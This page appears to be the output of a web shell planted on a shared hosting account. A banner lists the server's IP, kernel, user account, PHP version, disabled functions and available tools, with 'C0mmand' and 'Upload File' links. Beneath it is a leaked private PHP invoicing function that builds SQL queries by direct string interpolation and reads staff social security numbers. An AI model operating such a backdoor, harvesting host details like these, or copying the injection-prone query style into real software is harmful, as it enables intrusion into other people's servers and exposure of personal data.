|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MC/fpdi/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
echo "Hello";
$id = '6979';
function creerFacture($cId, $montant = array(), $from = '', $to = '', &$pdf, $au = '', $f_format = 'n', $prev = false, $cumul = false, $prev_id = 0, $textf = NULL, $fact_id) {
global $agence;
$from7 = time2int(add_day(int2time($from), 5));
if (!empty($montant)) {
$from = '01122013';
$to = '31122013';
$au = '01012013';
$somme = $montant['montantHT'];
$facture['montantHT'] = $somme;
$facture['motif'] = $montant['motif'];
$f = '';
$acompte = '';
$attdata = '';
$option = '';
} else {
//$prev_id = $prev_id>0 ? $prev_id : 0;
// Gestion de la table temporaire des pr�visualisation
// Rajouter : suppression des PDF de pr�visualisation au passage
if ($prev) {
list($temp) = dbi_fetch_row(dbi_query("SELECT COUNT(*) FROM " . TABLE_FACT_TEMP));
// if($temp>=5)
// dbi_query("DELETE FROM ".TABLE_FACT_TEMP);
}
$q = dbi_query("SELECT * FROM " . TABLE_PREST . " p WHERE client_id = $cId AND agence_id=$agence AND presta_id NOT In (SELECT new_presta_id FROM " . TABLE_EXCEPT . " WHERE new_presta_id is not null)");
$facture = array();
$somme = 0;
$trie = array('id' => array(), 'date' => array(), 'type' => array());
while ($p = dbi_fetch_row($q)) {
$day = $from;
$change = false;
$current = 0;
$offset = 0;
$data = array( array('start' => int2time($p['presta_date_debut']), 'jour' => $p['presta_jour'], 'deb' => $p['presta_Hdeb'], 'duree' => $p['presta_Hduree'], 'taux' => $p['presta_forfait'], 'tauxHT' => $p['presta_forfaitHT']));
$DATAT = $data[0];
$modif1 = dbi_query("SELECT * FROM " . TABLE_PRESTA_MODIF . " WHERE presta_id = " . $p['presta_id'] . " AND start between $from AND $from7 order by `start`, `date`");
for ($k = 1; $MT = dbi_fetch_row($modif1); $k++) {
if ($MT['jour'] != NULL && $MT['start']) {
$change = true;
$DATAT['start'] = $MT['start'];
$DATAT['jour'] = $MT['jour'] === NULL ? $DATAT['jour'] : $MT['jour'];
}
}
if ($change)
$day = jour_proch($DATAT['jour'], $from);
else
$day = $from;
$date = get_occurence($p['presta_id'], 0, $day);
$modif = dbi_query("SELECT * FROM " . TABLE_PRESTA_MODIF . " WHERE presta_id = " . $p['presta_id'] . " order by `start`, `date`");
$tranche = 0;
for ($i = 1; $m = dbi_fetch_row($modif); $i++) {
if ($m['start'] <= $date['date'])
$tranche = $i;
$data[$i]['start'] = int2time($m['start']);
$data[$i]['jour'] = $m['jour'] === NULL ? $data[$i - 1]['jour'] : $m['jour'];
$data[$i]['deb'] = $m['Hdeb'] === NULL ? $data[$i - 1]['deb'] : $m['Hdeb'];
$data[$i]['duree'] = $m['Hduree'] === NULL ? $data[$i - 1]['duree'] : $m['Hduree'];
$data[$i]['taux'] = $m['taux'] === NULL ? $data[$i - 1]['taux'] : $m['taux'];
$data[$i]['tauxHT'] = $m['tauxHT'] === NULL ? $data[$i - 1]['tauxHT'] : $m['tauxHT'];
}
// R�cup�ration des prestations effectu�es
// on boucle jusqu'� depasser la date de fin
while ($date && $date['date'] >= $from && $date['date'] <= $to) {
$type = $p['presta_recur'] + ($date['except'] != 0);
$nbH = $date['duree'] / 60;
$taux = $date['taux'];
$tauxHT = $date['tauxHT'];
$somme += $nbH * $taux;
$sommeHT += $nbH * $tauxHT;
$trie['id'][] = $p['presta_id'] . "-$tranche";
$trie['date'][] = $date['date'];
$trie['type'][] = $type;
$facture[] = array('id' => $p['presta_id'] . "-$tranche", 'nbH' => $nbH, 'taux' => $taux, 'tauxHT' => $tauxHT, 'type' => $type, 'date' => $date['date'], 'jour' => $data[$tranche]['jour'], 'deb' => $data[$tranche]['deb'], 'duree' => $data[$tranche]['duree'], 'tauxPresta' => $data[$tranche]['taux'], 'tauxPrestaHT' => $data[$tranche]['tauxHT']);
if ($current == $date['date'])
$offset++;
else
$offset = 0;
$current = $date['date'];
$date = get_occurence($p['presta_id'], 1 + $offset, $date['date']);
while ($tranche < count($data) - 1 && $date['date'] >= $data[$tranche + 1]['start'])
$tranche++;
}
// liste des intervenant //
$qI = dbi_query("SELECT * FROM " . TABLE_PREST . " p WHERE client_id = $cId AND agence_id=$agence AND presta_id NOT In (SELECT new_presta_id FROM " . TABLE_EXCEPT . " WHERE new_presta_id is not null)");
$inter = array();
$tmps = 0;
while ($pI = dbi_fetch_row($qI)) {
$dateI = get_occurence($pI['presta_id'], 0, $from);
$current = 0;
$offset = 0;
while ($dateI !== false && $dateI['date'] <= $to) {
$inter[] = $dateI['inter'];
$tmps += $dateI['duree'];
if ($current == $dateI['date'])
$offset++;
else
$offset = 0;
$current = $dateI['date'];
$dateI = get_occurence($pI['presta_id'], 1 + $offset, $dateI['date']);
}
}
$intervenants = array_unique($inter);
$tmps = ($tmps / 60);
$attdata = array();
if ($intervenants[0])
$inter_annee = dbi_query("SELECT inter_genre, inter_nom, inter_pnom, inter_secuno
FROM " . TABLE_INTERV . "
WHERE inter_id IN (" . join(',', $intervenants) . ")");
if (isset($inter_annee))
while ($in = dbi_fetch_row($inter_annee)) {
$attdata['inter']['nom'][] = $in['inter_genre'] . ' ' . $in['inter_nom'] . ' ' . $in['inter_pnom'];
$attdata['inter']['ss'][] = $in['inter_secuno'];
}
$attdata['H'] = $tmps;
unset($inter_annee);
// R�cup�ration des prestations non effectu�es mais factur�es
$q1 = dbi_query("SELECT e.date, p.* FROM " . TABLE_PREST . " p, " . TABLE_EXCEPT . " e
WHERE e.presta_id = " . $p['presta_id'] . "
AND
(
(
(
e.new_presta_id is NULL
OR en_cours = '1'
)
and
e.presta_id = p.presta_id
)
OR
(
e.new_presta_id is NOT NULL
AND en_cours = ''
AND e.new_presta_id = p.presta_id
)
)
AND facture = '1'
AND date between $from and $to
AND agence_id=$agence
order by date");
$tranche = 0;
while ($f = dbi_fetch_row($q1)) {
while ($tranche < count($data) - 1 && $f['date'] >= $data[$tranche + 1]['start'])
$tranche++;
$trie['id'][] = $p['presta_id'];
$trie['date'][] = $f['date'];
$trie['type'][] = 3;
// $somme += $f['presta_Hduree']/60 * $f['presta_forfait'] ;
// $sommeHT += $f['presta_Hduree']/60 * $f['presta_forfaitHT'] ;
if ($f['presta_id'] == $p['presta_id']) {
$f['presta_Hduree'] = $data[$tranche]['duree'];
$f['presta_forfait'] = $data[$tranche]['taux'];
$f['presta_forfaitHT'] = $data[$tranche]['tauxHT'];
}
$data2 = array('jour' => $data[$tranche]['jour'], 'deb' => $data[$tranche]['deb'], 'duree' => $data[$tranche]['duree'], 'inter' => $prest['inter_id'], 'taux' => $data[$tranche]['taux'], 'tauxHT' => $data[$tranche]['tauxHT']);
// $q1 = dbi_query("SELECT * FROM ".TABLE_PRESTA_MODIF." WHERE presta_id = ".$prest['presta_id']." order by `start`, `date`") ;
$q11 = dbi_query("SELECT * FROM " . TABLE_PRESTA_MODIF . " WHERE presta_id = " . $p['presta_id'] . " AND start <= " . $f['date'] . " order by `start`, `date`");
// echo $prest['presta_jour'].' !! ';
while (($m11 = dbi_fetch_row($q11))) {
$data2['jour'] = $m11['jour'] === NULL ? $data2['jour'] : $m11['jour'];
$data2['deb'] = $m11['Hdeb'] === NULL ? $data2['deb'] : $m11['Hdeb'];
$data2['duree'] = $m11['Hduree'] === NULL ? $data2['duree'] : $m11['Hduree'];
$data2['inter'] = $m11['inter_id'] === NULL ? $data2['inter'] : $m11['inter_id'];
$data2['taux'] = $m11['taux'] === NULL ? $data2['taux'] : $m11['taux'];
$data2['taux_HT'] = $m11['taux_HT'] === NULL ? $data2['taux_HT'] : $m11['taux_HT'];
// print_r($m11);
}
$somme += $data2['duree'] / 60 * $data2['taux'];
$sommeHT += $data2['duree'] / 60 * $data2['tauxHT'];
$facture[] = array('id' => $p['presta_id'] . "-$tranche", 'nbH' => $data2['duree'] / 60, 'taux' => $data2['taux'], 'tauxHT' => $data2['taux_HT'], 'type' => 2, 'date' => $f['date'], 'jour' => $data2['jour'], 'deb' => $data2['deb'], 'duree' => $data2['duree'], 'tauxPresta' => $data2['taux'], 'tauxPrestaHT' => $data2['tauxHT']);
/*
// R�cup�ration des prestations non effectu�es mais factur�es
$q1 = dbi_query ("SELECT e.date, p.* FROM ".TABLE_PREST." p, ".TABLE_EXCEPT." e
WHERE e.presta_id = ".$p['presta_id']."
AND
(
(
(
e.new_presta_id is NULL
OR en_cours = '1'
)
and
e.presta_id = p.presta_id
)
OR
(
e.new_presta_id is NOT NULL
AND en_cours = ''
AND e.new_presta_id = p.presta_id
)
)
AND facture = '1'
AND date between $from and $to
AND agence_id=$agence
order by date") ;
$tranche = 0 ;
while($f = dbi_fetch_row($q1))
{
while($tranche < count($data) - 1 && $f['date'] >= $data[$tranche+1]['start'])
$tranche++ ;
$trie['id'][] = $p['presta_id'] ;
$trie['date'][] = $f['date'] ;
$trie['type'][] = 3 ;
$somme += $f['presta_Hduree']/60 * $f['presta_forfait'] ;
$sommeHT += $f['presta_Hduree']/60 * $f['presta_forfaitHT'] ;
$data2 = array(array('start' => int2time($f['presta_date_debut']), 'jour' => $f['presta_jour'], 'deb' => $f['presta_Hdeb'], 'duree' => $f['presta_Hduree'], 'taux' => $f['presta_forfait'], 'tauxHT' => $f['presta_forfaitHT'])) ;
$modifer = dbi_query("SELECT * FROM ".TABLE_PRESTA_MODIF." WHERE presta_id = ".$f['presta_id']." order by `start`, `date`") ;
for ($i = 1 ; $mod = dbi_fetch_row($modifer) ; $i++)
{
if($mod['start'] <= $date['date'])
// $tranche = $i ;
$data2[$tranche]['start'] = int2time($mod['start']) ;
$data2[$tranche]['jour'] = $mod['jour'] === NULL ? $data2[$i-1]['jour'] : $mod['jour'] ;
$data2[$tranche]['deb'] = $mod['Hdeb'] === NULL ? $data2[$i-1]['deb'] : $mod['Hdeb'] ;
$data2[$tranche]['duree'] = $mod['Hduree'] === NULL ? $data2[$i-1]['duree'] : $mod['Hduree'] ;
$data2[$tranche]['taux'] = $mod['taux'] === NULL ? $data2[$i-1]['taux'] : $mod['taux'] ;
$data2[$tranche]['tauxHT'] = $mod['tauxHT'] === NULL ? $data2[$i-1]['tauxHT'] : $mod['tauxHT'] ;
}
if($f['presta_id'] == $p['presta_id'])
{
$f['presta_Hduree'] = $data2[$tranche]['duree'] ;
$f['presta_forfait'] = $data2[$tranche]['taux'] ;
$f['presta_forfaitHT'] = $data2[$tranche]['tauxHT'] ;
}
// $facture[] = array(
// 'id' => $p['presta_id']."-$tranche",
// 'nbH' => $f['presta_Hduree']/60,
// 'taux' => $f['presta_forfait'],
// 'tauxHT' => $f['presta_forfaitHT'],
// 'type' => 2,
// 'date' => $f['date'],
// 'jour' => $data[$tranche]['jour'],
// 'deb' => $data[$tranche]['deb'],
// 'duree' => $data[$tranche]['duree'],
// 'tauxPresta' => $data[$tranche]['taux'],
// 'tauxPrestaHT' => $data[$tranche]['tauxHT']) ;
// }
$facture[] = array(
'id' => $p['presta_id']."-$tranche",
'nbH' => $f['presta_Hduree']/60,
'taux' => $f['presta_forfait'],
'tauxHT' => $f['presta_forfaitHT'],
'type' => 2,
'date' => $f['date'],
'jour' => $data2[$tranche]['jour'],
'deb' => $data2[$tranche]['deb'],
'duree' => $data2[$tranche]['duree'],
'tauxPresta' => $data2[$tranche]['taux'],
'tauxPrestaHT' => $data2[$tranche]['tauxHT']) ;
*/
}
}
if (count($facture) == 0)
return false;
/* $q = dbi_query("SELECT f.num_fact, date_fact, total-sum(if(montant is null, 0, montant))-( SELECT SUM(if(a.montant is null, 0, montant)) FROM ".TABLE_AVOIR." a WHERE a.fact_id=f.fact_id ) AS price FROM ".TABLE_FACT." f LEFT JOIN ".TABLE_PAIEMENT." p ON f.fact_id=p.fact_id AND f.client_id = p.client_id WHERE f.client_id=$cId AND f.agence_id=$agence GROUP BY date_fact, f.fact_id, total HAVING price > 0 order by date_fact DESC") ;
$fretard = array() ;
for($i = 0 ; $fact = dbi_fetch_row($q) ; $i++)
{
$fretard[$i]['name'] = sprintf('Facture n�%s du %s', $fact['num_fact'], int2date($fact['date_fact'], 'd/m/Y')) ;
$fretard[$i]['price'] = $fact['price'] ;
}*/
array_multisort($trie['id'], SORT_ASC, SORT_NUMERIC, $trie['date'], SORT_ASC, SORT_NUMERIC, $trie['type'], SORT_DESC, SORT_NUMERIC, $facture);
$au_sql = explode("/", $au);
$au_sql = $au_sql[2] . $au_sql[1] . $au_sql[0];
// tableau contenant les options cumul et affichage d�taill�
$option['test'] = "testoption";
$option['cumul'] = $cumul;
$option['format'] = $f_format;
}
list($fact_id) = dbi_fetch_row(dbi_query("SELECT value FROM " . TABLE_CONFIG . " WHERE agence_id=$agence AND `key` = 'auto'"));
// On ins�re dans une table temporaire � rajouter facture_temp, previsualisation_fact
/*if($prev) {
$fact_id+= $prev_id;
dbi_query("INSERT INTO ".TABLE_FACT_TEMP." (total, date_debut, date_fin, date_fact, client_id, agence_id, num_fact, data".($textf==NULL ? '' : ', textf').") VALUES ('".str_replace(',', '.', $somme)."', '$from', '$to', '$au_sql', '$cId', '$agence', '$fact_id', '".addslashes(serialize(array($facture, $f, $acompte, $attdata, $option)))."' ".($textf==NULL ? "" : ",'".mysql_real_escape_string($textf)."'").")");
} else {
dbi_query("UPDATE ".TABLE_CONFIG." set value = value+1 WHERE agence_id=$agence AND `key` = 'auto'");
dbi_query("INSERT INTO ".TABLE_FACT." (total, date_debut, date_fin, date_fact, client_id, agence_id, num_fact, data".($textf==NULL ? '' : ', textf').", type) VALUES ('".str_replace(',', '.', $somme)."', '$from', '$to', '$au_sql', '$cId', '$agence', '$fact_id', '".addslashes(serialize(array($facture, $f, $acompte, $attdata, $option)))."'".($textf==NULL ? "" : ",'".mysql_real_escape_string($textf)."'").", ".((!empty($montant))?"'surfacturation'":"'facture'").")");
}*/
//$fact_id = mysql_insert_id() ;
//if($prev) $fact_id+=$prev_id;
list($acompte) = dbi_fetch_row(dbi_query("SELECT sum(p.montant) FROM " . TABLE_PAIEMENT . " p LEFT JOIN " . TABLE_FACT . " f using(fact_id) WHERE p.agence_id = '$agence' AND p.client_id = '$cId' AND f.fact_id IS NULL"));
// on up pas les paiement si pr�visual
if (!$prev) {
if ($acompte <= $somme);
//dbi_query("UPDATE " . TABLE_PAIEMENT . " set fact_id='$fact_id' WHERE agence_id = '$agence' AND client_id = '$cId' AND fact_id = '0'");
else {
$q = dbi_query("SELECT montant, paiement_id FROM " . TABLE_PAIEMENT . " WHERE agence_id = '$agence' AND client_id = '$cId' AND fact_id = '0' AND montant <= '$somme'");
$s = $somme;
$a = 0;
while ($s > 0.001 && ($p = dbi_fetch_row($q)))
if ($p['montant'] <= $s) {
//dbi_query("UPDATE " . TABLE_PAIEMENT . " set fact_id='$fact_id' WHERE paiement_id = '" . $p['paiement_id'] . "'");
$s -= $p['montant'];
$a += $p['montant'];
}
if ($s > 0.001) {
$p = dbi_fetch_row(dbi_query("SELECT paiement_id, reglement_id, date, num_cheque, banque, montant FROM " . TABLE_PAIEMENT . " WHERE agence_id = '$agence' AND client_id = '$cId' AND fact_id = '0' AND montant = (SELECT max(montant) FROM " . TABLE_PAIEMENT . " WHERE agence_id = '$agence' AND client_id = '$cId' AND fact_id = '0')"));
$rest = $p['montant'] - $s;
//dbi_query("UPDATE " . TABLE_PAIEMENT . " set montant = '" . $rest . "' WHERE paiement_id = '" . $p['paiement_id'] . "'");
//dbi_query("INSERT INTO " . TABLE_PAIEMENT . " (`montant`, `reglement_id`, `fact_id`, `date`, `agence_id`, `client_id`, `num_cheque`, `banque`) VALUES ('$s', '" . $p['reglement_id'] . "', '$fact_id', '" . $p['date'] . "', '$agence', '$cId', '" . $p['num_cheque'] . "', '" . $p['banque'] . "')");
}
$acompte = $somme;
}
} elseif ($acompte >= $somme)
$acompte = $somme;
// ici on calcule toute les factures en retard, sup a 0 apr�s les paiements et avoirs
$q = dbi_query("SELECT f.fact_id, f.num_fact, date_fact, total-sum(if(montant is null, 0, montant)) AS price FROM " . TABLE_FACT . " f LEFT JOIN " . TABLE_PAIEMENT . " p ON f.fact_id=p.fact_id AND f.client_id = p.client_id WHERE f.client_id='$cId' AND f.agence_id='$agence' GROUP BY date_fact, f.fact_id, total HAVING price > 0.001 order by date_fact DESC, f.num_fact DESC");
$fretard = array();
for ($i = 0; $fact = dbi_fetch_row($q); $i++) {
list($totavoir) = dbi_fetch_row(dbi_query("SELECT SUM(if(montant is null, 0, montant)) FROM " . TABLE_AVOIR . " WHERE fact_id='" . $fact['fact_id'] . "'"));
if (($fact['price'] - $totavoir) > 0) {
$fretard[$i]['name'] = sprintf('Facture n�%s du %s', $fact['num_fact'], int2date($fact['date_fact'], 'd/m/Y'));
$fretard[$i]['price'] = $fact['price'] - $totavoir;
}
}
//sur la table temporaire pr�visual
/*if($prev)
dbi_query("UPDATE ".TABLE_FACT_TEMP." SET data = '".addslashes(serialize(array($facture, $fretard, $acompte, $attdata, $option)))."' WHERE fact_id = $fact_id") ;
else
dbi_query("UPDATE ".TABLE_FACT." SET data = '".addslashes(serialize(array($facture, $fretard, $acompte, $attdata, $option)))."' WHERE fact_id = $fact_id") ;
*
*/
include_once 'includes/factureV3.php';
$pdf = new Facture($fact_id, false, $attdata, $f_format, $prev, $cumul);
// pour envoyer en retour le numero de facture qu'on pr�visualise
/*if ($prev) {
list($fact_id) = dbi_fetch_row(dbi_query("SELECT MAX(fact_id)+1 FROM " . TABLE_FACT));
$fact_id += $prev_id;
}*/
//return $fact_id ;
}
creerFacture($id, $montant, $from, $to , $f, $au, $f_format, $prev, $cumul, $prev_id, $textf, 69089);
$s = $f -> Output('', 'S');
envoyer_email('facture', 69089, $s);
?>